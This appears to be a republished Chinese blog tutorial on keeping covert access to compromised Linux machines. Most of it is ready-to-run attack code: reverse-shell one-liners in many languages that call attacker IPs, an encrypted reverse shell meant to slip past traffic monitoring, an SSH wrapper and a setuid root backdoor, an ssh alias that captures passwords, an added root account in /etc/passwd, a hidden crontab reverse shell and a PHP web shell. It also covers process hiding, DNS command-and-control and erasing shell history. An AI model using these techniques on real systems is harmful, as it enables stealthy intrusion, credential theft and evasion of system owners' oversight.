内容简介:我们可以直接简单的把权限维持理解为我们在目标上安装了一个后门,权限维持的目的是保证自己的权限不会掉,一直控制住目标.Linux有很多种反弹shell的方法,反弹shell的好处主要是操作过程中会更加方便,对我个人来说,主要是命令补全,总之,从权限维持的角度来说,可以更好的去执行一些操作.能否反弹shell,要根据目标的环境来尝试,有可能bash无法直接反弹,但是python却可以成功,还要注意白名单问题.
我们可以直接简单的把权限维持理解为我们在目标上安装了一个后门,权限维持的目的是保证自己的权限不会掉,一直控制住目标.
0X01 获得初始权限
Linux有很多种反弹 shell 的方法,反弹shell的好处主要是操作过程中会更加方便,对我个人来说,主要是命令补全,总之,从权限维持的角度来说,可以更好的去执行一些操作.
能否反弹shell,要根据目标的环境来尝试,有可能bash无法直接反弹,但是 python 却可以成功,还要注意白名单问题.
实验环境准备直接用Kali,记得做好快照.
Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
URL-Encoded Perl: Linux
echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat without -e #1
mkfifo函数只是创建一个FIFO文件,要使用命名管道将其打开。
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
Netcat without -e #2
nc localhost 443 | /bin/sh | nc localhost 444 telnet localhost 443 | /bin/sh | telnet localhost 444
Java
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();
Xterm
xterm -display 10.0.0.1:1
Exec
0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196
思考:假设渗透过程中,发现目标环境无法反弹shell,最后测试得出只开放了80和443.通过白名单反弹shell时又发现流量被拦截了,如何应对这种情况?
可以尝试通过加密数据包的方式来逃避流量监控设备.
第一步:
在VPS 上生成 SSL 证书的公钥/私钥对:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
第二步:
VPS 监听反弹 shell:
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
第三步:
连接:
mkfifo /tmp/wing;/bin/bash -i < /tmp/wing 2>&1 |openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/wing
获得shell
但这时你会发现,这个shell不太好用,没有基本的命令补全.
解决方法:
python -c 'import pty; pty.spawn("/bin/bash")'
pty是一个伪终端模块
pty.spawn(argv[, master_read[, stdin_read]]) 产生一个进程,并将其控制终端与当前进程的标准io连接。这通常用于阻挡坚持从控制终端读取的程序。 函数 master_read 和 stdin_read 应该是从文件描述符读取的函数。默认值尝试在每次调用时读取1024字节。 在 3.4 版更改: spawn() 现在从子进程的 os.waitpid() 返回状态值
有时候提权以后终端也是会出现类似问题,一般这个方法可以解决.
或者参考后面的链接
socat
socat file:`tty`,raw,echo=0 tcp-listen:9999 把socat上传到目标机器上,然后执行: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999
也可以得到一个交互式shell
知识点来源于
将简单的shell升级为完全交互式的TTY
https://www.4hou.com/technology/6248.html全程带阻:记一次授权网络攻防演练(下)
https://www.freebuf.com/vuls/211847.html0X02 权限维持技术
SSH后门
SSH软连接
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
建立一个软连接,然后通过5555端口访问ssh服务
正常的登陆功能
添加用户
useradd wing -p wing
ssh连接时密码任意输入,kali测试时,root也可以。
具体原理见 Linux的一个后门引发对PAM的探究
SSH Wrapper
Exploit:
cd /usr/sbin/ mv sshd ../bin/ echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd /etc/init.d/sshd restart
然后连接:
socat STDIO TCP4:target_ip:22,sourceport=13377
原理:
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
来自 https://www.anquanke.com/post/id/155943#h2-9
SSH key的写入
本地先生成ssh key
ssh-keygen -t rsa
再把公钥id_rsa.pub发送到目标上
同时赋予权限,但是权限不能过大。
chmod 600 ~/.ssh/authorized_keys chmod 700 ~/.ssh
SSH keylogger
在当前用户配置文件末尾添加
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
Openssh Rookit
需要安装环境依赖,可用性不是很高,参考 利用Openssh后门 劫持root密码
SSH隐身登录
隐身登录
隐身登录系统,不会被last who w等指令检测到
ssh -T username@host /bin/bash -i ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if
Linux隐藏技术
简单的隐藏文件
touch .wing.py
可以找一些目录隐藏自己的恶意文件
隐藏权限
chattr命令可以给文件加 锁
,防止被删除,我们也可以将它利用起来
解 锁
:
隐藏历史操作命令
拿到shell以后,开始 无痕模式
,禁用命令历史记录功能。
set +o history
恢复
set -o history
history
可以看到恢复以后可以正常记录历史命令
删除自己的历史命令
删除指定的历史记录
sed -i "100,$d" .bash_history
删除100行以后的操作命令
demo
端口复用
通过SSLH在同一端口上共享SSH与HTTPS
Linux上在同一端口上共享SSH与HTTPS的工具:SSLH
安装SSLH apt install sslh 配置SSLH 编辑 SSLH 配置文件: sudo vi /etc/default/sslh 1、找到下列行:Run=no 将其修改为:Run=yes 2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443 DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid" service sslh start
测试:
环境是docker,444对应的是靶机的443
测试成功
iptables
# 端口复用链 iptables -t nat -N LETMEIN # 端口复用规则 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 # 开启开关 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT # 关闭开关 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT # let's do it iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
exploit
TIPS:docker测试的时候
docker run -ti --privileged ubuntu:latest
–privileged这个参数一定要加上
#开启复用 echo threathuntercoming | socat - tcp:192.168.19.170:80 #ssh使用80端口进行登录 ssh -p 80 root@192.168.19.170: #关闭复用 echo threathunterleaving | socat - tcp:192.168.19.170:80
隐藏进程
libprocesshider
github上的一个项目,项目地址
https://github.com/gianlucaborello/libprocesshider利用 LD_PRELOAD 来实现系统函数的劫持,实现如下: # 下载程序编译 git clone https://github.com/gianlucaborello/libprocesshider.git apt-get install gcc automake autoconf libtool make cd libprocesshider/ && make # 移动文件到/usr/local/lib/目录下 cp libprocesshider.so /usr/local/lib/ # 把它加载到全局动态连接局 echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload或者export LD_PRELOAD=/usr/local/lib/libprocesshider.so
运行
效果
具体的进程名字,自己可以在c文件里面设置
克制它的工具
unhide proc
linux-inject
linux-inject是用于将共享对象注入 Linux 进程的工具
项目地址: https://github.com/gaffe23/linux-inject.git
# 下载程序编译 git clone https://github.com/gaffe23/linux-inject.git cd linux-inject && make # 测试进程 ./sample-target # 进程注入 ./inject -n sample-target sample-library.so
先编译自己定义的c文件
安装依赖包
sudo apt-get purge libc6-dev sudo apt-get install libc6-dev sudo apt-get install libc6-dev-i386 sudo apt-get install clang
#include <stdio.h> __attribute__((constructor))void hello() { puts("Hello world!");}
生成so文件
gcc -shared -fPIC -o libwing.so hello.c
先执行测试的文件
然后注入自定义的so文件
注入成功。
Vegile
在linux下执行某个可执行文件之前,系统会预先加载用户定义的动态链接库的一种技术,这个技术可以重写系统的库函数,导致发生Hijack。
Vegile是一个用来隐藏自己的进程的工具,即使进程被杀,又会重新启动。
先生成一个msf后门
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=149.129.72.186 LPORT=8000 -f elf -o /var/www/html/Wing_Backdoor2
msf开启监听
执行
第一种是进程注入的方式
第二种是进程被杀还可以继续反弹shell
由于依赖的原因,第二种有点小bug
测试成功。
Cymothoa
Cymothoa是一个轻量级的后门,也是使用进程注入的方法。
使用方法
./cymothoa -S
查看可用的shellcode
只要反弹shell的功能,0即可
查找到bash的pid,因为bash进程一般都是存在的
./cymothoa -p pid -s 1 -y port
不太可控,我在kali测试会把进程弄死掉,实际环境不建议使用。
然后我msf的窗口就卡死了
成功的话nc可以直接连接自定义的端口,跟环境有关系。
Setuid and Setgid
setuid: 设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.
setgid: 该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组.
sticky bit: 该位可以理解为防删除位. 一个文件是否可以被某用户删除, 主要取决于该文件所属的组是否对该用户具有写权限. 如果没有写权限, 则这个目录下的所有文件都不能被删除, 同时也不能添加新的文件. 如果希望用户能够添加文件但同时不能删除文件, 则可以对文件使用sticky bit位. 设置该位后, 就算用户对目录具有写权限, 也不能删除该文件.
众所周知,Linux的文件权限如: 777;666等,其实只要在相应的文件上加上UID的权限,就可以用到加权限人的身份去运行这个文件。所以我们只需要将bash复制出来到另一个地方, 然后用root加上UID权限,只要用户运行此Shell就可以用用root的身份来执行任何文件了。
写一个简单的后门:
backdoor.c
#include <unistd.h> void main(int argc, char *argv[]) { setuid(0); setgid(0); if(argc > 1) execl("/bin/sh", "sh", "-c", argv[1], NULL); else execl("/bin/sh", "sh", NULL); }
编译:
gcc backdoor.c -o backdoor
cp backdoor /bin/
chmod u+s /bin/backdoor
wing权限执行backdoor
inetd后门
inetd是监视一些网络请求的守护进程,其根据网络请求来调用相应的服务进程来处理连接请求。 它可以为多种服务管理连接,当inetd 接到连接时,它能够确定连接所需的程序,启动相应的进程,并把socket 交给它(服务socket 会作为程序的标准输入、 输出和错误输出描述符)。
安装
apt-get install openbsd-inetd
用系统自带的服务
配置后门
# vi /etc/inetd.conf fido stream tcp nowait root /bin/bash bash -i # 当外部请求名为fido的服务时就弹shell inetd
nc连接
添加后门账户
生成密码 perl -e 'print crypt("wing", "AA"). "\n"' 直接添加到passwd echo "weblogic1:AAyx65VrBb.fI:0:0:root:/root:/bin/bash">>/etc/passwd
容易被检测出来,还不如直接ssh key
ICMP后门
项目地址: https://github.com/andreafabrizi/prism
编译
Android平台:
apt-get install gcc-arm-linux-gnueabi arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism
Linux 64bit:
apt-get install libc6-dev-amd64 gcc -DDETACH -m64 -Wall -s -o prism prism.c
Linux 32bit:
apt-get install libc6-dev-i386 gcc -DDETACH -m32 -Wall -s -o prism prism.c
查看信息:
攻击机上等待后门连接
nc -l -p 9999
发包触发后门
DNS后门
项目地址: https://github.com/iagox86/dnscat2
即使在最苛刻环境下,目标肯定也会允许DNS去解析外部或者内部的domain。
这就可以作为一个C2通道。command和数据夹杂在DNS查询和响应头中,所以检测起来很困难,因为命令都隐藏在正常的流量里面。
我们使用 dnscat2 来实现
我mac上安装有问题,烦得很,环境麻烦,kali了。
算了,还是主机吧,困。。。
server里面要换源,建议直接指定gemfile里面的源是 https://gems.ruby-china.com/
我的配置:
# Gemfile # By Ron Bowes # # See LICENSE.md source 'https://gems.ruby-china.com/' gem 'trollop' # Commandline parsing gem 'salsa20' # Encrypted connections gem 'sha3' # Message signing + key derivation gem 'ecdsa' # Used for ECDH key exchange
$ gem install bundler $ bundle install
启动这玩意。
sudo ruby dnscat2.rb --dns "domain=attck.me,host=192.168.123.192" --no-cache
然后把控制端编译好,直接make
./dnscat --dns server=192.168.123.192
这边主机运行
session -i 1
我来抓包看看怎么通信的。
所有命令将通过DNS流量传输
我们试下powershell版本的dnscat:
https://github.com/lukebaggett/dnscat2-powershellStart-Dnscat2 -Domain attck.me -DNSServer 192.168.123.192
已经上线了
然后新开一个交互式shell
结论
使用dnscat2有各种优点:
支持多个会话
流量加密
使用密钥保护MiTM攻击
直接从内存运行PowerShell脚本
VIM后门
先构造一个恶意脚本
wing.py
from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',666)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
前提条件就是VIM安装了python扩展,默认安装的话都有python扩展.
脚本可以放到python的扩展目录
$(nohup vim -E -c "py3file wing.py"> /dev/null 2>&1 &) && sleep 2 && rm -f wing.py
在后台看得到vim的进程,但是看不到python的进程.
原理参考: https://github.com/jaredestroud/WOTD
PAM后门
PAM (Pluggable AuthenticationModules )是由Sun提出的一种认证机制。
它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。
项目地址: https://github.com/litsand/shell
这是一个自动化脚本
比较适用于centos,测试环境是ubuntu,暂时不复现.
\r后门
echo -e "<?=\`\$_POST[wing]\`?>\r<?='Wing ';?>" >/var/www/html/wing.php
加了 -e \r
参数之后直接查看源码,只显示后半部分
strace后门
strace常用来跟踪进程执行时的系统调用和所接收的信号。 在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通 过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 ssh'
这个也类似于alias后门
docker测试的时候加 –privileged参数
同理可以记录其他命令
su='strace -o /tmp/sulog-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 su'
Tiny shell
项目地址: https://github.com/orangetw/tsh
在linux下编译
./compile.sh linux 149.129.72.186 1234 wing 22
参数代表的意思如下
usage: compile.sh os BC_HOST BC_PORT [PASSWORD] [BC_DELAY] compile.sh os 8.8.8.8 8081 compile.sh os 8.8.8.8 8081 mypassword 60 Please specify one of these targets: compile.sh linux compile.sh freebsd compile.sh openbsd compile.sh netbsd compile.sh cygwin compile.sh sunos compile.sh irix compile.sh hpux compile.sh osf
成功以后会生成tsh和tshd文件
分别表示控制端和服务端
在目标上运行
umask 077; HOME=/var/tmp ./tshd
在攻击机器上运行
tsh targetip
可以得到一个shell.
除此之外,还可以上传和下载文件.
反弹的形式
浏览器插件后门
项目地址: https://github.com/graniet/chromebackdoor
我花了很多时间来测试这个项目,目前还没成功,不知道是不是浏览器有限制.
Local Job Scheduling
crontab
测试环境:mac
定时反弹shell
(crontab -l;printf "*/1 * * * * /usr/bin/nc 30.157.170.75 1389 /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -
other backdoor
项目地址: https://github.com/iamckn/backdoors
一些进程隐藏技术,然后反弹shell.
用uname做一个演示
uname.sh
#uname #------------------------- touch /usr/local/bin/uname cat <<EOF >> /usr/local/bin/uname #!/bin/bash #nc.traditional -l -v -p 4444 -e /bin/bash 2>/dev/null & #socat TCP4-Listen:3177,fork EXEC:/bin/bash 2>/dev/null & socat SCTP-Listen:1177,fork EXEC:/bin/bash 2>/dev/null & #perl -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}' 2>/dev/null & /bin/uname \$@ EOF
里面的反弹shell命令自己替换
0x03 Rookit
Rookit是什么
在悬念迭起的中外谍战片里,对战双方中的一派势力通常会派遣特工人员潜伏到对手阵营中。这名卧底人员良好的伪装使得对手对此长时间毫无察觉;为了能够长期潜伏他不贸然采取高风险行为以免过早暴露自己;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。
从某种意义上说这位不速之客就是Rootkit——持久并毫无察觉地驻留在目标计算机中,对系统进行操纵、并通过隐秘渠道收集数据的程序。Rootkit的三要素就是:隐藏、操纵、收集数据。
“Rootkit”中root术语来自于unix领域。由于unix主机系统管理员账号为root账号,该账号拥有最小的安全限制,完全控制主机并拥有了管理员权限被称为“root”了这台电脑。然而能够“root”一台主机并不意味着能持续地控制它,因为管理员完全可能发现了主机遭受入侵并采取清理措施。因此Rootkit的初始含义就在于“能维持root权限的一套工具”。
简单地说,Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。
一个典型rootkit包括:
- 1 以太网嗅探器程序,用于获得网络上传输的用户名和密码等信息。
- 2 特洛伊木马程序,例如:inetd或者login,为攻击者提供后门。
- 3 隐藏攻击者的目录和进程的程序,例如:ps、netstat、rshd和ls等。
- 4 可能还包括一些日志清理工具,例如:zap、zap2或者z2,攻击者使用这些清理 工具 删除wtmp、utmp和lastlog等日志文件中有关自己行踪的条目。
- 一些复杂的rootkit还可以向攻击者提供telnet、shell和finger等服务。
应用级rootkit
应用级rookit的主要特点是通过批量替换系统命令来实现隐藏,如替换ls、ps和netstat等命令来隐藏文件、进程和网络连接等,有时会有守护进程来保证后门的稳定性。推荐两款常用的木马:mafix和brookit。
应用级的比较容易清掉,最麻烦的是内核级和硬件级的.
###内核级rookit
通过加载内核模块的方式来加载后门,比较复杂。一般内核后门都是针对操作系统而言的,不同的操作系统内核模块设置编写方法都不一样,一般不通用。内核后门一般无法通过md5校验等来判断,所有基本比较难发现,目前针对内核后门比较多的是Linux和Solaris下。
硬件级后门
这个就是厂商的板子里面就有后门,比如cpu处理器,主板,鼠标,等等.
demo:我找的这个是应该是内核rookit的例子,其他经典内核的可以看下这两个:
Reptile
测试环境:kali
项目地址: https://github.com/f0rb1dd3n/Reptile
安装:
emmmm
环境炸了.kali得重装
使用教程参考如下
https://www.notion.so/redteamwing/Reptile-LKM-Linux-rootkit-153c8daa25244ce69461d1515375e8cc
最后有一说一,Linux的rookit我没研究过,文章是去年总结的,就先这样吧,Linux的权限维持我觉得还是比较常用的,Windows的写了一半,然后发现太多了,参考Pentest.blog学习吧! XD
以上所述就是小编给大家介绍的《Linux下的权限维持》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Pragmatic Thinking and Learning
Andy Hunt / The Pragmatic Bookshelf / 2008 / USD 34.95
In this title: together we'll journey together through bits of cognitive and neuroscience, learning and behavioral theory; you'll discover some surprising aspects of how our brains work; and, see how ......一起来看看 《Pragmatic Thinking and Learning》 这本书的介绍吧!